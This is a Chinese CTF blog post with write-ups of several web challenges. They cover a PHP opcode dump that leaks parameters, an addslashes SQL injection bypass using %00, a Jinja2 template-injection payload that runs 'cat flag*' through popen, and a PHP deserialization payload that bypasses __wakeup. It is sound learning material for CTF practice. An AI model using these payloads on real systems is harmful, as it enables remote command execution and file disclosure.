web

最新推荐文章于 2022-03-14 15:35:43 发布

WuT0ng

最新推荐文章于 2022-03-14 15:35:43 发布

阅读量220

点赞数

分类专栏： CTF

本文链接：https://blog.csdn.net/weixin_43940853/article/details/102542524

版权

CTF 专栏收录该内容

20 篇文章 3 订阅

订阅专栏

i春秋(VID)
首先查看源码，提示访问index.php.txt,得到一些代码，这里简单整理一下

Finding entry points
Branch analysis from position: 0
Jump found. Position 1 = 23, Position 2 = 38
Branch analysis from position: 23
Jump found. Position 1 = 26, Position 2 = 35
Branch analysis from position: 26
Jump found. Position 1 = 29, Position 2 = 32
Branch analysis from position: 29
Jump found. Position 1 = 34
Branch analysis from position: 34
Jump found. Position 1 = 37
Branch analysis from position: 37
Jump found. Position 1 = 40
Branch analysis from position: 40
Return found
Branch analysis from position: 32
Jump found. Position 1 = 37
Branch analysis from position: 37
Branch analysis from position: 35
Jump found. Position 1 = 40
Branch analysis from position: 40
Branch analysis from position: 38
Return found
filename:       C:\ctf\index.php
function name:  (null)
number of ops:  44
compiled vars:  !0 = $a, !1 = $b, !2 = $c
line     # *  op                           fetch          ext  return  operands
---------------------------------------------------------------------------------
   2     0  >   EXT_STMT
         1      ECHO                                                     'do+you+know+Vulcan+Logic+Dumper%3F%3Cbr%3E'
   3     2      EXT_STMT
         3      BEGIN_SILENCE                                    ~0
         4      FETCH_R                      global              $1      '_GET'
         5      FETCH_DIM_R                                      $2      $1, 'flag1'
         6      END_SILENCE                                              ~0
         7      ASSIGN                                                   !0, $2
   4     8      EXT_STMT
         9      BEGIN_SILENCE                                    ~4
        10      FETCH_R                      global              $5      '_GET'
        11      FETCH_DIM_R                                      $6      $5, 'flag2'
        12      END_SILENCE                                              ~4
        13      ASSIGN                                                   !1, $6
   5    14      EXT_STMT
        15      BEGIN_SILENCE                                    ~8
        16      FETCH_R                      global              $9      '_GET'
        17      FETCH_DIM_R                                      $10     $9, 'flag3'
        18      END_SILENCE                                              ~8
        19      ASSIGN                                                   !2, $10
   6    20      EXT_STMT
        21      IS_EQUAL                                         ~12     !0, 'fvhjjihfcv'
        22    > JMPZ                                                     ~12, ->38
   7    23  >   EXT_STMT
        24      IS_EQUAL                                         ~13     !1, 'gfuyiyhioyf'
        25    > JMPZ                                                     ~13, ->35
   8    26  >   EXT_STMT
        27      IS_EQUAL                                         ~14     !2, 'yugoiiyhi'
        28    > JMPZ                                                     ~14, ->32
   9    29  >   EXT_STMT
        30      ECHO                                                     'the+next+step+is+xxx.zip'
  10    31    > JMP                                                      ->34
  11    32  >   EXT_STMT
        33      ECHO                                                     'false%3Cbr%3E'
  13    34  > > JMP                                                      ->37
  14    35  >   EXT_STMT
        36      ECHO                                                     'false%3Cbr%3E'
  16    37  > > JMP                                                      ->40
  17    38  >   EXT_STMT
        39      ECHO                                                     'false%3Cbr%3E'
  19    40  >   NOP
  22    41      EXT_STMT
        42      ECHO                                                     '%3C%21--+index.php.txt+%3F%3E%0D%0A%0D%0A'
        43    > RETURN                                                   1

branch: #  0; line:     2-    6; sop:     0; eop:    22; out1:  23; out2:  38
branch: # 23; line:     7-    7; sop:    23; eop:    25; out1:  26; out2:  35
branch: # 26; line:     8-    8; sop:    26; eop:    28; out1:  29; out2:  32
branch: # 29; line:     9-   10; sop:    29; eop:    31; out1:  34
branch: # 32; line:    11-   13; sop:    32; eop:    33; out1:  34
branch: # 34; line:    13-   13; sop:    34; eop:    34; out1:  37
branch: # 35; line:    14-   16; sop:    35; eop:    36; out1:  37
branch: # 37; line:    16-   16; sop:    37; eop:    37; out1:  40
branch: # 38; line:    17-   19; sop:    38; eop:    39; out1:  40
branch: # 40; line:    19-   22; sop:    40; eop:    43
path #1: 0, 23, 26, 29, 34, 37, 40,
path #2: 0, 23, 26, 32, 34, 37, 40,
path #3: 0, 23, 35, 37, 40,
path #4: 0, 38, 40,
do you know Vulcan Logic Dumper?<br>false<br><!-- index.php.txt ?>

先提交一个py

http://e5ba17efb078400d85d8a7748715e33e6090348da86346d1.changame.ichunqiu.com/index.php?flag1=fvhjjihfcv&flag2=gfuyiyhioyf&flag3=yugoiiyhi

这里就是看你怎么联想了，出现了flag1,2,3,必定有他自己提交的参数
在这里插入图片描述
打开后会出现很多配置文件

找到可能存在sql注入的地方
代码审计，这里对username进行了addslashes过滤，这里可以利用%00会被函数解析成\0,当构建一个名为admin%00’的username时，会被函数解析为admin\0’,这里利用number=0，这样username就会变为admin\’,接下来利用sql注入就可以了
在这里插入图片描述
接下来就不演示了，套路都是一样的

Musee de X（jinja2模板注入）

打开网页，注册，登录，捐献，这里就是一个jinja2模板注入
在这里插入图片描述
我们注册一个123{{’’.class.mro[2].subclasses()[59].init.func_globals[‘linecache’].dict[‘os’].dict[‘popen’](‘cat flag*’).read()}}
的用户名

捐赠的地址即为随便的一个图片背景
在这里插入图片描述

记住jinja2模板注入，好奇怪的一个名字，直接payload上去跑就行了，本质就是一个命令执行

攻防世界(Web_php_unserialize)
在这里插入图片描述
序列化与反序列化类型
payload

http://111.198.29.45:40207/?var=TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==

<?php 
class Demo { 
    private $file = 'index.php';
    public function __construct($file) { 
        $this->file = $file; 
    }
    function __destruct() { 
        echo @highlight_file($this->file, true); 
    }
    function __wakeup() { 
        if ($this->file != 'index.php') { 
            //the secret is in the fl4g.php
            $this->file = 'index.php'; 
        } 
    } 
}
$a = new Demo("fl4g.php");
$a = serialize($a);
$a = str_replace(":4:",":+4:",$a);
$a = str_replace(":1:",":2:",$a);
$a = base64_encode($a);
print_r($a);
?>

注意这里有一个正则匹配，采用+4绕过，绕过的过程最好在代码中就体现，一开始我没有绕过及加密过程，直接在运行结果中改的，发现不成功，在Demo两侧出现了乱码，具体的不太清楚
关于这类题型的知识点，以前博客中也总结过，不是没有正则匹配的过滤，这里积累一下